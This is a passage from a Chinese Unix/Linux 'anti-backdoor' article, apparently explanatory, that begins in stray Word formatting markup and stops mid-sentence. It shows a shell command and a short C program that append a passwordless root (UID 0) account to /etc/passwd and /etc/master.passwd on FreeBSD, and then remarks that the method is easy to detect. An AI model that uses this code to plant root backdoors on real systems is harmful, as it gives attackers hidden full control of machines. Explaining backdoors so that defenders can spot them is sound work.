unix&linux系列三：anti-backdoor by irunnet.com[7]

t;Times New Roman"; mso-hansi-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">都为0（root)的帐号，无口令。
FreeBSD的密码是存储在 /etc/master.passwd里面的，那么后面的命令就应该改成:
# echo "username:::::::::" >> /etc/master.passwd
也可以使用程序来实现:
/* Add super user */
＃i nclude "stdio.h"
#define PASSWD_PATH "/etc/passwd"
#define SHADOW_PATH "/etc/master.passwd"
main()
{
FILE *fd;
fd = fopen(PASSWD_PATH, "a+");
fprintf(fd, "heiyeluren:*:0:0::/root:/bin/sh\n");
fclose(fd);
fd = fopen(SHADOW_PATH, "a+");
fprintf(fd, "heiyeluren::0:0::0:0::/root:/bin/sh\n");
fclose(fd);
}
# gcc -o adduser adduser.c
# ./adduser
这种方法比较傻，一般比较容易发现，特别是系统帐户不多的时候。也有的用户名起的比较迷惑人，比如起个